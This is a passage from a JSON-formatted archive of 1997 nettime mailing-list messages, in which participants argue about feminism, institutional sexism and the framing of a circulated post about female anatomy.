may disagree with this perspective does not mean that\nsexism does not exist.\n\nI believe that your intentions are genuine.  So if you want truly to create\nthe egalitarian world that you would like to think exists today, do\nsomething about it.  Join the movement.  Read the literature.  Talk about\nit.  Get involved.  Don't just sit there.\n\nrle\n\nrebecca.lynn.eisenberg\nmars {AT} bossanova.com, mars {AT} well.com\nhttp://www.bossanova.com/rebeca/\n\n\n---\n#  distributed via nettime-l : no commercial use without permission\n#  <nettime> is a closed moderated mailinglist for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} icf.de and \"info nettime\" in the msg body\n#  URL: http://www.desk.nl/~nettime/  contact: nettime-owner {AT} icf.de\n\n",
                                        "id": "00126",
                                        "date": "Tue, 17 Jun 1997 03:38:06 -0700",
                                        "to": "Peter Tomaz Dobrila <peco {AT} kibla.org>",
                                        "message-id": "v0300780dafcc13d17e3f {AT} [206.80.15.235]",
                                        "url": "https://nettime.org/Lists-Archives/nettime-l-9706/msg00126.html",
                                        "content-type": "text/plai",
                                        "author_name": "rebecca l. eisenberg",
                                        "subject": "Re: <nettime> Translation: The vagina is the boss on intern"
                                    },
                                    {
                                        "from": "Peter Tomaz Dobrila <peco {AT} kibla.org>",
                                        "content": "\nHi again dear...\n \n> In the United States, the accepted meaning of i.e. is \"that is.\"  This is\n> very different from \"for example,\" which is signified by \"e.g.\".\nSorry. So e.g. But maybe is English i.e.? I'm not sure. It is not my\nfirst language.\n \n> Regardless, the point stands that feminism is not about revenge against bad\n> men.  It is about a social movement that promotes equality of the sexes,\n> and that actively fights against sexist stereotyping.  Period.  If I read\n> correctly, you yourself insisted that you were \"not a feminist\" (a\n> conclusion that could have been inferred from context had it not been\n> stated explicitly).  Given that, how can you justify trying to define my\n> social movement?    It is offensive.\nWhat equality, if there are 'women only' things? Don't you think this is\nxenophobic, chovinistic and even rasistic? Isn't it just stereotyping?\nIt's is the same as with your *teachers*. Most of my teachers were women,\nso I should go macho, while I didn't like all of them... I'm not a\nfeminist and I'm not macho. I'm human, I suppose I'm not a dog. Social or\nsex movement? Be precise. Society involves ALL (human) beings. And no, I'm\nnot offensive. I like you and it's O.K., if you are feminist. Just I don't\nagree with it, making social movements with the thing between your legs.\n \n> Who is blaming sexism on \"the thole world populations <sic>\"?  What I\n> stated clearly, and what I repeat again, is that feminism is about\n> promoting equality of the sexes, and striving to acheive a world where\n> opportunity is not restricted on the basis of sex and/or gender.   The fact\n> that the majority of the people who live in this world take part in a\n> sexist culture of some sort does not change the goals of the movement,\n> which are to enact change and promote equality.\nNo, as long as there are 'women-only' things, you can't talk about \nequality. All different all equal. With other statements I'm supporting\nyou. I have a better word: humanism - it doesn't include gender, while\nfeminism does. \n \n> That is patently absurd.  Feminism is not a fight against \"teachers.\"  Many\n> teachers were *not* that way.  Feminism is a battle to break down sexist\n> stereotyping, and what I gave an example of was the stereotype that insists\n> that women are not competent in math and science, and that succeeds, to\n> this day, to keep unjustly  many highly qualified women out of lucrative\n> and challenging occupations.  To the extent that individuals are hired\n> and/or promoted based on their sex rather than based on the quality of\n> their work (and to deny that this happens is to look blindly upon the\n> world) helps no one because it promotes an inefficient marketplace and\n> inhibits the full range of human and technological progress.\nSo you're battling one sexist stereotype with another. Not very sensible.\nI agree with other (mostly). You pointed out *teachers*, not me. Isn't\nthat your personal thing? I was prosecuted by communist government and\nwas thrown out of University. So what? Should I fight all communists? No,\nI like them. I like communism.\n \n> You are Peter, but you are also male, and you have benefitted from being a\n> male, in some way or other in your life, whether you admit that or not.\nFor my benefits look above. But it's not my trauma.I just don't have Ph.D.\nI admit everything else.  \n\n> Perhaps you have benefitted only from the fact that you need not actively\n> fear rape as you walk down a city street at night; or perhaps you have\n> benefitted from that fact because you have a much better real opportunity\n> to become an elected member of the government (at least if you were a US\n> citizen) than your female colleagues.  But you have benefitted.\nO.K. You think not? Why? Fuck the government. I have a much better real\nopportunity to die (better: change my agregate state) earlier than you\nwould. And I have a much better real opportunity to be beaten by a gang.\nAnd I had a much better real opportunity to go to prison. And I've got\na much better real opportunity to be shot. Welcome to my benefits. US is\nnot the whole world. So what do you know about ex-socialism? It was\ngreat.\n\n> Personally, I strive for a world where gender, the social contruct, does\n> not exist at all, and in which we can all be viewed as individuals first,\n> and male or female (or hermaphrodite) as one of our many other individual\n> traits.  But we are not there yet, Peter, and denying the existence of\n> institutionalized sexism brings us no closer to that final goal.\nI'm not denying 'institutional sexism'. But it exists for male as well.\nLook for your opportunities and don't believe everything Rosa Luxemburg\nand Klara Zetkin wrote. \n \n> There are many errogenous zones in the human body, both male and female,\n> and NOTHING I wrote suggested otherwise.  But a focus on the vagina is\n> clearly phallocentric, and a decision not to even mention the clitoris --\n> which, I repeat, is where female sexuality is said to be \"centered\" in a\n> way analogous to the male centering of sexuality on the penis -- is not\n> trivial.    No act of sexism is trivial, and I must repeat that I find\n> hardly any action more pernicious than the denial that sexism exists.\n> Sexism exists.    The fact that you, personally, have perhaps never felt\n> the direct harms of sexism only provides evidence of the fact that sexism\n> divides the world by gender, and assigns the burdens and benefits\n> inequally.  The fact that many women (most of them much younger than I am)\n> and perhaps most men may disagree with this perspective does not mean that\n> sexism does not exist.\nI see that sexism exists, even through you explanations. But you can't\nfight sexism with other sexism. Is penis vulvacentric? What male? Who?\nI mentioned clitoris. CLITORIS. VAGINA. PENIS. BREAST. I'm proud of\nclitoris, even though I don't have one. This is getting ridiculous. Better\nname all sexists and we can E-mail them. I'll help you with that.\n  \n> I believe that your intentions are genuine.  So if you want truly to create\n> the egalitarian world that you would like to think exists today, do\n> something about it.  Join the movement.  Read the literature.  Talk about\n> it.  Get involved.  Don't just sit there.\nJoin the party. Join the army. Your country needs you. I'm sitting here\ntalking to you. Just had a coffee. Have one and be yourself. \n\nLove,\nPeter \n\n---\n#  distributed via nettime-l : no commercial use without permission\n#  <nettime> is a closed moderated mailinglist for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} icf.de and \"info nettime\" in the msg body\n#  URL: http://www.desk.nl/~nettime/  contact: nettime-owner {AT} icf.de\n\n",
                                        "id": "00127",
                                        "date": "Tue, 17 Jun 1997 14:17:29 +0200 (MET DST)",
                                        "to": "\"rebecca l. eisenberg\" <mars {AT} bossanova.com>",
                                        "message-id": "Pine.LNX.3.95.970617130206.858K&#45;100000 {AT} server.nd&#45;mb.si",
                                        "url": "https://nettime.org/Lists-Archives/nettime-l-9706/msg00127.html",
                                        "content-type": "text/plai",
                                        "author_name": "Peter Tomaz Dobrila",
                                        "subject": "Re: <nettime> Translation: The vagina is the boss on intern"
                                    },
                                    {
                                        "from": "\"Doris Weichselbaumer\" <Doris.Weichselbaumer {AT} alijku04.edvz.uni-linz.ac.at>",
                                        "content": "\nHi,\n\n> What equality, if there are 'women only' things?\n\nCome on, get real! \n\nmaybe you come from a different planet than me, but i grew up  \nsurrounded with *men only* things, and still i am often enough the \n*_one_ woman only* amongst males (whether it's in the rock biz, \n*industrial* art, university...)\n\nso excuse me, if women want to have their own things for a change, \nbad enough if they're having a minority status in society when in \nfact they are the majority in population. (ever heard that woman do \nabout 60 % of all work but possess 3 % of property?)\n\nwould you dare to get mad about if a ethnic minority wants to do \ntheir own thing? i don't think so. so be consistent. it's the right \nof every *minority* to gather and do their *own thing*.\n\nas long as *the thing between your legs* as you call it is considered \nto be an indicator for your abilities and interests - it very well \n_is_ still  an issue.\n\nnot to talk about how female sexual body parts got degraded by men in \nthe past, so talking about the CLITORIS and the VAGINA, SLUTS and \nCUNTS is about regaining what belongs to us, giving it new meaning \nand pride.\n\nGOT TO PUT THE CLIT BACK ON THE MAP!\n\n> Better name all sexists and we can E-mail them. I'll help you with that.\nIt's not just people - it's a system that's sexist. _nobody_ can \nreally claim not to be racist or sexist. but we can try.\n\ncheers,\ndozza\n\np.s. for some more provocation: \nthere is the idea, that men alone should carry the burden of paying \ntaxes for all the costs involved with crime that to the highest \ndegree are committed by men! \n.................................................\nDoris Weichselbaumer\nDepartment of Economics\nUniversity of Linz\nAltenberger Str. 69, 4040 Linz, Austria,\nPhone: ++43-732-2468-240, Fax: ++43-732-2468-9679\nhttp://www.economics.uni-linz.ac.at/\nemail: doris.weichselbaumer {AT} jk.uni-linz.ac.at\n................................................\n---\n#  distributed via nettime-l : no commercial use without permission\n#  <nettime> is a closed moderated mailinglist for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} icf.de and \"info nettime\" in the msg body\n#  URL: http://www.desk.nl/~nettime/  contact: nettime-owner {AT} icf.de\n\n",
                                        "id": "00129",
                                        "date": "Tue, 17 Jun 1997 15:42:34 +0000",
                                        "to": "Peter Tomaz Dobrila <peco {AT} kibla.org>",
                                        "message-id": "199706171341.AA183050 {AT} alijku04.edvz.uni&#45;linz.ac.at",
                                        "url": "https://nettime.org/Lists-Archives/nettime-l-9706/msg00129.html",
                                        "content-type": "text/plai",
                                        "author_name": "Doris Weichselbaumer",
                                        "subject": "Re: <nettime> Translation: The vagina is the boss on intern"
                                    }
                                ],
                                "from": "\"rebecca l. eisenberg\" <mars {AT} bossanova.com>",
                                "content": "\nI just wanted to note briefly, that there is hardly any statement that I\nfind more insidious and offensive, when not outright simplistic and\napologist, to insist that \"usually feminists are transplanting their\npersonal\n>>accidents, their personal experiences, i.e. misunderstandings with their\n>>partners into common market.\"\n\nFeminists are reponding to *institutional* sexism, and fighting against\nsexism constitutes neither the airing of dirty laundry nor the promotion of\nsexism itself.   Many people are feminist before they even have any\n\"partners\" to be \"angry\" about -- for example, my first feminist awakening\ninvolved the way that *teachers* treated me in math and science classes in\nmy pre-teen years.  There's no bitterness over boyfriends there; rather, it\nis justified anger at a world that assigns females a presumption of\nincompetence while assigning males, at the same time, a presumption of\ncompetence.   The goal is to break down barriers and promote equality, and\nI think that you badly misrepresent feminism as it is known to the great\nmajority of people, both male and female, who identify as feminist, by\ninsisting otherwise.\n\nThat said, I did actually have an objection to the circulated \"Vagina\"\npost.  In my opinion, as well as my best understanding of the nature of\nbiology and human sexuality, the female body part that is most analagous to\nthe penis is the *clitoris* rather than the vagina.  It is a fairly common\ncomplaint among feminist scholars (and has been for a while, in particular\nin reaction to Freud's terrifyingly absurd assumptions about female\nsexuality) that a focus on the vagina, rather than on the clitoris or the\nvulva in general, looks at female sexuality from the point of view of a\npenis in search of a hole.  This is not to insist that the vagina is\nirrelevant to sexuality for all women, but rather, it is to make the\nargument that, if you are going to reclaim space for women, and then\nidentify women with the sexual organ where their sexual response is\ngenerally considered to be located, the clear choice would have been\nclitoris rather than vagina.\n\nregards,\nrebecca\n\nAt 9:11 AM +0200 6/17/97, Anne de Haan wrote:\n>At 16:06 16-06-97 +0200, you wrote:\n>>Aloha!\n>>\n>>Good explanation of the thing I'm more and more calling sick. More of it\n>>I don't understand, but usually feminists are transplanting their personal\n>>accidents, their personal experiences, i.e. misunderstandings with their\n>>partners into common market. So their goal is make war not love (I'm not\n>>hippy, so don't worry), if it's not another woman, of course. So is this a\n>>form of solidarity or just a way of expressing their sexual behavior.\n>>Plain gender, pure sex and nothing else. I don't think relationships\n>>should be built or focused on that. It's very animalic. And even less, I\n>>don't think excusses on political or social engagements should be raised\n>>from plain personal - intimate thing. It takes (at least) two for any kind\n>>of relation, communication. And here goes Internet, interactivity, etc.\n>>There's never just one who takes the blame, even when it's man.\n>>And I'm ignorant to all 'women only' projects. It sounds like 'white\n>>only'. Sometimes I'm mad, sometimes I'm laughing at it. When women are\n>>pointing out just their vagina (like feminists do) they make a very bad\n>>reputation of themselves, and all women of course. This is plain racism\n>>and pure agression. Make them read Camille Paglia.\n>>Where are there heads, their brains, their feelings, their emotions, if\n>>just vagina or penis is all that matters? So feminists are making animals\n>>out of women, even if I think that animals are more intelligent than some\n>>of them. Yes, I like Duchamp, I like Gertrude Stein, I like Orlan,\n>>I like Stelarc, I like Beatles, I like Spice Girls, I like ninties, the\n>>age of transsexuality and androginity and nature, that made genders. I'm\n>>heterosexual and I'm not pointing it out whenever I'm talking to audience\n>>I'm not making my political state out of it. It's ridiculous to be based\n>>just on sexual orientation or even sexual needs, on something between our\n>>legs. There are many 'hot lines' for that. Let's be civilised and maybe\n>>intelectual.\n>>\n>>Best,\n>>Peter\n\nrebecca.lynn.eisenberg\nmars {AT} bossanova.com, mars {AT} well.com\nhttp://www.bossanova.com/rebeca/\n\n\n---\n#  distributed via nettime-l : no commercial use without permission\n#  <nettime> is a closed moderated mailinglist for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} icf.de and \"info nettime\" in the msg body\n#  URL: http://www.desk.nl/~nettime/  contact: nettime-owner {AT} icf.de\n\n",
                                "id": "00124",
                                "date": "Tue, 17 Jun 1997 02:27:32 -0700",
                                "to": "Anne de Haan <sigorney {AT} knoware.nl>",
                                "message-id": "v03007809afcc05c63050 {AT} [206.80.15.235]",
                                "url": "https://nettime.org/Lists-Archives/nettime-l-9706/msg00124.html",
                                "content-type": "text/plai",
                                "author_name": "rebecca l. eisenberg",
                                "subject": "Re: <nettime> Translation: The vagina is the boss on intern"
                            },
                            {
                                "from": "Peter Tomaz Dobrila <peco {AT} kibla.org>",
                                "content": "\nHi there!\n\n> I just wanted to note briefly, that there is hardly any statement that I\n> find more insidious and offensive, when not outright simplistic and\nAt the end I wrote i.e. - in example. So I didn't mean just that, there\nis others personal shit as well. But you can't blame it on the whole world\npopulations.  \n\n> Feminists are reponding to *institutional* sexism, and fighting against\n> sexism constitutes neither the airing of dirty laundry nor the promotion of\n> sexism itself.   Many people are feminist before they even have any\n> \"partners\" to be \"angry\" about -- for example, my first feminist awakening\n> involved the way that *teachers* treated me in math and science classes in\n> my pre-teen years.  There's no bitterness over boyfriends there; rather, it\n> is justified anger at a world that assigns females a presumption of\n> incompetence while assigning males, at the same time, a presumption of\n> competence.   The goal is to break down barriers and promote equality, and\n> I think that you badly misrepresent feminism as it is known to the great\n> majority of people, both male and female, who identify as feminist, by\n> insisting otherwise.\nAlright. You don't like *teachers*. I don't like some of them either. You\ncan identify as you like. Feminist is O.K. I'm Marsian, two heads and\nwings, little green creature. But on the other hand I'm Peter Tomaz\nDobrila and nothing else. Please to meet you Rebecca. Give those teachers\nnames. Some car drivers are even worse. So what to do?\n \n> That said, I did actually have an objection to the circulated \"Vagina\"\n> post.  In my opinion, as well as my best understanding of the nature of\n> biology and human sexuality, the female body part that is most analagous to\n> the penis is the *clitoris* rather than the vagina.  It is a fairly common\n> complaint among feminist scholars (and has been for a while, in particular\n> in reaction to Freud's terrifyingly absurd assumptions about female\n> sexuality) that a focus on the vagina, rather than on the clitoris or the\n> vulva in general, looks at female sexuality from the point of view of a\n> penis in search of a hole.  This is not to insist that the vagina is\n> irrelevant to sexuality for all women, but rather, it is to make the\n> argument that, if you are going to reclaim space for women, and then\n> identify women with the sexual organ where their sexual response is\n> generally considered to be located, the clear choice would have been\n> clitoris rather than vagina.\nGreat! Sigmund Freud was a wanker. But debate about penis, vagina and\nclito is unfamiliar to me. Don't we have more in our bodies? Toes, liver,\nheart, brain, arms, legs, feet, head, kindeys, eyes, ears, smell,\nvoice, touch, etc. Isn't it all involved in our whole behaviour, work,\nsex, etc.? \n\nBest,\nPeter\n\n   \n\n---\n#  distributed via nettime-l : no commercial use without permission\n#  <nettime> is a closed moderated mailinglist for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} icf.de and \"info nettime\" in the msg body\n#  URL: http://www.desk.nl/~nettime/  contact: nettime-owner {AT} icf.de\n\n",
                                "id": "00125",
                                "date": "Tue, 17 Jun 1997 12:00:02 +0200 (MET DST)",
                                "to": "\"rebecca l. eisenberg\" <mars {AT} bossanova.com>",
                                "message-id": "Pine.LNX.3.95.970617113922.858H&#45;100000 {AT} server.nd&#45;mb.si",
                                "url": "https://nettime.org/Lists-Archives/nettime-l-9706/msg00125.html",
                                "content-type": "text/plai",
                                "author_name": "Peter Tomaz Dobrila",
                                "subject": "Re: <nettime> Translation: The vagina is the boss on intern"
                            },
                            {
                                "from": "\"rebecca l. eisenberg\" <mars {AT} bossanova.com>",
                                "content": "\nAt 12:00 PM +0200 6/17/97, Peter Tomaz Dobrila wrote:\n>Hi there!\n>\n>> I just wanted to note briefly, that there is hardly any statement that I\n>> find more insidious and offensive, when not outright simplistic and\n>At the end I wrote i.e. - in example. So I didn't mean just that, there\n>is others personal shit as well. But you can't blame it on the whole world\n>populations.\n\n\nIn the United States, the accepted meaning of i.e. is \"that is.\"  This is\nvery different from \"for example,\" which is signified by \"e.g.\".\n\nRegardless, the point stands that feminism is not about revenge against bad\nmen.  It is about a social movement that promotes equality of the sexes,\nand that actively fights against sexist stereotyping.  Period.  If I read\ncorrectly, you yourself insisted that you were \"not a feminist\" (a\nconclusion that could have been inferred from context had it not been\nstated explicitly).  Given that, how can you justify trying to define my\nsocial movement?    It is offensive.\n\nWho is blaming sexism on \"the thole world populations <sic>\"?  What I\nstated clearly, and what I repeat again, is that feminism is about\npromoting equality of the sexes, and striving to acheive a world where\nopportunity is not restricted on the basis of sex and/or gender.   The fact\nthat the majority of the people who live in this world take part in a\nsexist culture of some sort does not change the goals of the movement,\nwhich are to enact change and promote equality.\n\n\n\n>\n>> Feminists are reponding to *institutional* sexism, and fighting against\n>> sexism constitutes neither the airing of dirty laundry nor the promotion of\n>> sexism itself.   Many people are feminist before they even have any\n>> \"partners\" to be \"angry\" about -- for example, my first feminist awakening\n>> involved the way that *teachers* treated me in math and science classes in\n>> my pre-teen years.  There's no bitterness over boyfriends there; rather, it\n>> is justified anger at a world that assigns females a presumption of\n>> incompetence while assigning males, at the same time, a presumption of\n>> competence.   The goal is to break down barriers and promote equality, and\n>> I think that you badly misrepresent feminism as it is known to the great\n>> majority of people, both male and female, who identify as feminist, by\n>> insisting otherwise.\n>Alright. You don't like *teachers*. I don't like some of them either. You\n>can identify as you like. Feminist is O.K. I'm Marsian, two heads and\n>wings, little green creature. But on the other hand I'm Peter Tomaz\n>Dobrila and nothing else. Please to meet you Rebecca. Give those teachers\n>names. Some car drivers are even worse. So what to do?\n\nThat is patently absurd.  Feminism is not a fight against \"teachers.\"  Many\nteachers were *not* that way.  Feminism is a battle to break down sexist\nstereotyping, and what I gave an example of was the stereotype that insists\nthat women are not competent in math and science, and that succeeds, to\nthis day, to keep unjustly  many highly qualified women out of lucrative\nand challenging occupations.  To the extent that individuals are hired\nand/or promoted based on their sex rather than based on the quality of\ntheir work (and to deny that this happens is to look blindly upon the\nworld) helps no one because it promotes an inefficient marketplace and\ninhibits the full range of human and technological progress.\n\nYou are Peter, but you are also male, and you have benefitted from being a\nmale, in some way or other in your life, whether you admit that or not.\nPerhaps you have benefitted only from the fact that you need not actively\nfear rape as you walk down a city street at night; or perhaps you have\nbenefitted from that fact because you have a much better real opportunity\nto become an elected member of the government (at least if you were a US\ncitizen) than your female colleagues.  But you have benefitted.\nPersonally, I strive for a world where gender, the social contruct, does\nnot exist at all, and in which we can all be viewed as individuals first,\nand male or female (or hermaphrodite) as one of our many other individual\ntraits.  But we are not there yet, Peter, and denying the existence of\ninstitutionalized sexism brings us no closer to that final goal.\n\n\n\n>\n>> That said, I did actually have an objection to the circulated \"Vagina\"\n>> post.  In my opinion, as well as my best understanding of the nature of\n>> biology and human sexuality, the female body part that is most analagous to\n>> the penis is the *clitoris* rather than the vagina.  It is a fairly common\n>> complaint among feminist scholars (and has been for a while, in particular\n>> in reaction to Freud's terrifyingly absurd assumptions about female\n>> sexuality) that a focus on the vagina, rather than on the clitoris or the\n>> vulva in general, looks at female sexuality from the point of view of a\n>> penis in search of a hole.  This is not to insist that the vagina is\n>> irrelevant to sexuality for all women, but rather, it is to make the\n>> argument that, if you are going to reclaim space for women, and then\n>> identify women with the sexual organ where their sexual response is\n>> generally considered to be located, the clear choice would have been\n>> clitoris rather than vagina.\n>Great! Sigmund Freud was a wanker. But debate about penis, vagina and\n>clito is unfamiliar to me. Don't we have more in our bodies? Toes, liver,\n>heart, brain, arms, legs, feet, head, kindeys, eyes, ears, smell,\n>voice, touch, etc. Isn't it all involved in our whole behaviour, work,\n>sex, etc.?\n>\n\n\nThere are many errogenous zones in the human body, both male and female,\nand NOTHING I wrote suggested otherwise.  But a focus on the vagina is\nclearly phallocentric, and a decision not to even mention the clitoris --\nwhich, I repeat, is where female sexuality is said to be \"centered\" in a\nway analogous to the male centering of sexuality on the penis -- is not\ntrivial.    No act of sexism is trivial, and I must repeat that I find\nhardly any action more pernicious than the denial that sexism exists.\nSexism exists.    The fact that you, personally, have perhaps never felt\nthe direct harms of sexism only provides evidence of the fact that sexism\ndivides the world by gender, and assigns the burdens and benefits\ninequally.  The fact that many women (most of them much younger than I am)\nand perhaps most men may disagree with this perspective does not mean that\nsexism does not exist.\n\nI believe that your intentions are genuine.  So if you want truly to create\nthe egalitarian world that you would like to think exists today, do\nsomething about it.  Join the movement.  Read the literature.  Talk about\nit.  Get involved.  Don't just sit there.\n\nrle\n\nrebecca.lynn.eisenberg\nmars {AT} bossanova.com, mars {AT} well.com\nhttp://www.bossanova.com/rebeca/\n\n\n---\n#  distributed via nettime-l : no commercial use without permission\n#  <nettime> is a closed moderated mailinglist for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} icf.de and \"info nettime\" in the msg body\n#  URL: http://www.desk.nl/~nettime/  contact: nettime-owner {AT} icf.de\n\n",
                                "id": "00126",
                                "date": "Tue, 17 Jun 1997 03:38:06 -0700",
                                "to": "Peter Tomaz Dobrila <peco {AT} kibla.org>",
                                "message-id": "v0300780dafcc13d17e3f {AT} [206.80.15.235]",
                                "url": "https://nettime.org/Lists-Archives/nettime-l-9706/msg00126.html",
                                "content-type": "text/plai",
                                "author_name": "rebecca l. eisenberg",
                                "subject": "Re: <nettime> Translation: The vagina is the boss on intern"
                            },
                            {
                                "from": "Peter Tomaz Dobrila <peco {AT} kibla.org>",
                                "content": "\nHi again dear...\n \n> In the United States, the accepted meaning of i.e. is \"that is.\"  This is\n> very different from \"for example,\" which is signified by \"e.g.\".\nSorry. So e.g. But maybe is English i.e.? I'm not sure. It is not my\nfirst language.\n \n> Regardless, the point stands that feminism is not about revenge against bad\n> men.  It is about a social movement that promotes equality of the sexes,\n> and that actively fights against sexist stereotyping.  Period.  If I read\n> correctly, you yourself insisted that you were \"not a feminist\" (a\n> conclusion that could have been inferred from context had it not been\n> stated explicitly).  Given that, how can you justify trying to define my\n> social movement?    It is offensive.\nWhat equality, if there are 'women only' things? Don't you think this is\nxenophobic, chovinistic and even rasistic? Isn't it just stereotyping?\nIt's is the same as with your *teachers*. Most of my teachers were women,\nso I should go macho, while I didn't like all of them... I'm not a\nfeminist and I'm not macho. I'm human, I suppose I'm not a dog. Social or\nsex movement? Be precise. Society involves ALL (human) beings. And no, I'm\nnot offensive. I like you and it's O.K., if you are feminist. Just I don't\nagree with it, making social movements with the thing between your legs.\n \n> Who is blaming sexism on \"the thole world populations <sic>\"?  What I\n> stated clearly, and what I repeat again, is that feminism is about\n> promoting equality of the sexes, and striving to acheive a world where\n> opportunity is not restricted on the basis of sex and/or gender.   The fact\n> that the majority of the people who live in this world take part in a\n> sexist culture of some sort does not change the goals of the movement,\n> which are to enact change and promote equality.\nNo, as long as there are 'women-only' things, you can't talk about \nequality. All different all equal. With other statements I'm supporting\nyou. I have a better word: humanism - it doesn't include gender, while\nfeminism does. \n \n> That is patently absurd.  Feminism is not a fight against \"teachers.\"  Many\n> teachers were *not* that way.  Feminism is a battle to break down sexist\n> stereotyping, and what I gave an example of was the stereotype that insists\n> that women are not competent in math and science, and that succeeds, to\n> this day, to keep unjustly  many highly qualified women out of lucrative\n> and challenging occupations.  To the extent that individuals are hired\n> and/or promoted based on their sex rather than based on the quality of\n> their work (and to deny that this happens is to look blindly upon the\n> world) helps no one because it promotes an inefficient marketplace and\n> inhibits the full range of human and technological progress.\nSo you're battling one sexist stereotype with another. Not very sensible.\nI agree with other (mostly). You pointed out *teachers*, not me. Isn't\nthat your personal thing? I was prosecuted by communist government and\nwas thrown out of University. So what? Should I fight all communists? No,\nI like them. I like communism.\n \n> You are Peter, but you are also male, and you have benefitted from being a\n> male, in some way or other in your life, whether you admit that or not.\nFor my benefits look above. But it's not my trauma.I just don't have Ph.D.\nI admit everything else.  \n\n> Perhaps you have benefitted only from the fact that you need not actively\n> fear rape as you walk down a city street at night; or perhaps you have\n> benefitted from that fact because you have a much better real opportunity\n> to become an elected member of the government (at least if you were a US\n> citizen) than your female colleagues.  But you have benefitted.\nO.K. You think not? Why? Fuck the government. I have a much better real\nopportunity to die (better: change my agregate state) earlier than you\nwould. And I have a much better real opportunity to be beaten by a gang.\nAnd I had a much better real opportunity to go to prison. And I've got\na much better real opportunity to be shot. Welcome to my benefits. US is\nnot the whole world. So what do you know about ex-socialism? It was\ngreat.\n\n> Personally, I strive for a world where gender, the social contruct, does\n> not exist at all, and in which we can all be viewed as individuals first,\n> and male or female (or hermaphrodite) as one of our many other individual\n> traits.  But we are not there yet, Peter, and denying the existence of\n> institutionalized sexism brings us no closer to that final goal.\nI'm not denying 'institutional sexism'. But it exists for male as well.\nLook for your opportunities and don't believe everything Rosa Luxemburg\nand Klara Zetkin wrote. \n \n> There are many errogenous zones in the human body, both male and female,\n> and NOTHING I wrote suggested otherwise.  But a focus on the vagina is\n> clearly phallocentric, and a decision not to even mention the clitoris --\n> which, I repeat, is where female sexuality is said to be \"centered\" in a\n> way analogous to the male centering of sexuality on the penis -- is not\n> trivial.    No act of sexism is trivial, and I must repeat that I find\n> hardly any action more pernicious than the denial that sexism exists.\n> Sexism exists.    The fact that you, personally, have perhaps never felt\n> the direct harms of sexism only provides evidence of the fact that sexism\n> divides the world by gender, and assigns the burdens and benefits\n> inequally.  The fact that many women (most of them much younger than I am)\n> and perhaps most men may disagree with this perspective does not mean that\n> sexism does not exist.\nI see that sexism exists, even through you explanations. But you can't\nfight sexism with other sexism. Is penis vulvacentric? What male? Who?\nI mentioned clitoris. CLITORIS. VAGINA. PENIS. BREAST. I'm proud of\nclitoris, even though I don't have one. This is getting ridiculous. Better\nname all sexists and we can E-mail them. I'll help you with that.\n  \n> I believe that your intentions are genuine.  So if you want truly to create\n> the egalitarian world that you would like to think exists today, do\n> something about it.  Join the movement.  Read the literature.  Talk about\n> it.  Get involved.  Don't just sit there.\nJoin the party. Join the army. Your country needs you. I'm sitting here\ntalking to you. Just had a coffee. Have one and be yourself. \n\nLove,\nPeter \n\n---\n#  distributed via nettime-l : no commercial use without permission\n#  <nettime> is a closed moderated mailinglist for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} icf.de and \"info nettime\" in the msg body\n#  URL: http://www.desk.nl/~nettime/  contact: nettime-owner {AT} icf.de\n\n",
                                "id": "00127",
                                "date": "Tue, 17 Jun 1997 14:17:29 +0200 (MET DST)",
                                "to": "\"rebecca l. eisenberg\" <mars {AT} bossanova.com>",
                                "message-id": "Pine.LNX.3.95.970617130206.858K&#45;100000 {AT} server.nd&#45;mb.si",
                                "url": "https://nettime.org/Lists-Archives/nettime-l-9706/msg00127.html",
                                "content-type": "text/plai",
                                "author_name": "Peter Tomaz Dobrila",
                                "subject": "Re: <nettime> Translation: The vagina is the boss on intern"
                            },
                            {
                                "from": "\"Doris Weichselbaumer\" <Doris.Weichselbaumer {AT} alijku04.edvz.uni-linz.ac.at>",
                                "content": "\nHi,\n\n> What equality, if there are 'women only' things?\n\nCome on, get real! \n\nmaybe you come from a different planet than me, but i grew up  \nsurrounded with *men only* things, and still i am often enough the \n*_one_ woman only* amongst males (whether it's in the rock biz, \n*industrial* art, university...)\n\nso excuse me, if women want to have their own things for a change, \nbad enough if they're having a minority status in society when in \nfact they are the majority in population. (ever heard that woman do \nabout 60 % of all work but possess 3 % of property?)\n\nwould you dare to get mad about if a ethnic minority wants to do \ntheir own thing? i don't think so. so be consistent. it's the right \nof every *minority* to gather and do their *own thing*.\n\nas long as *the thing between your legs* as you call it is considered \nto be an indicator for your abilities and interests - it very well \n_is_ still  an issue.\n\nnot to talk about how female sexual body parts got degraded by men in \nthe past, so talking about the CLITORIS and the VAGINA, SLUTS and \nCUNTS is about regaining what belongs to us, giving it new meaning \nand pride.\n\nGOT TO PUT THE CLIT BACK ON THE MAP!\n\n> Better name all sexists and we can E-mail them. I'll help you with that.\nIt's not just people - it's a system that's sexist. _nobody_ can \nreally claim not to be racist or sexist. but we can try.\n\ncheers,\ndozza\n\np.s. for some more provocation: \nthere is the idea, that men alone should carry the burden of paying \ntaxes for all the costs involved with crime that to the highest \ndegree are committed by men! \n.................................................\nDoris Weichselbaumer\nDepartment of Economics\nUniversity of Linz\nAltenberger Str. 69, 4040 Linz, Austria,\nPhone: ++43-732-2468-240, Fax: ++43-732-2468-9679\nhttp://www.economics.uni-linz.ac.at/\nemail: doris.weichselbaumer {AT} jk.uni-linz.ac.at\n................................................\n---\n#  distributed via nettime-l : no commercial use without permission\n#  <nettime> is a closed moderated mailinglist for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} icf.de and \"info nettime\" in the msg body\n#  URL: http://www.desk.nl/~nettime/  contact: nettime-owner {AT} icf.de\n\n",
                                "id": "00129",
                                "date": "Tue, 17 Jun 1997 15:42:34 +0000",
                                "to": "Peter Tomaz Dobrila <peco {AT} kibla.org>",
                                "message-id": "199706171341.AA183050 {AT} alijku04.edvz.uni&#45;linz.ac.at",
                                "url": "https://nettime.org/Lists-Archives/nettime-l-9706/msg00129.html",
                                "content-type": "text/plai",
                                "author_name": "Doris Weichselbaumer",
                                "subject": "Re: <nettime> Translation: The vagina is the boss on intern"
                            }
                        ],
                        "from": "Anne de Haan <sigorney {AT} knoware.nl>",
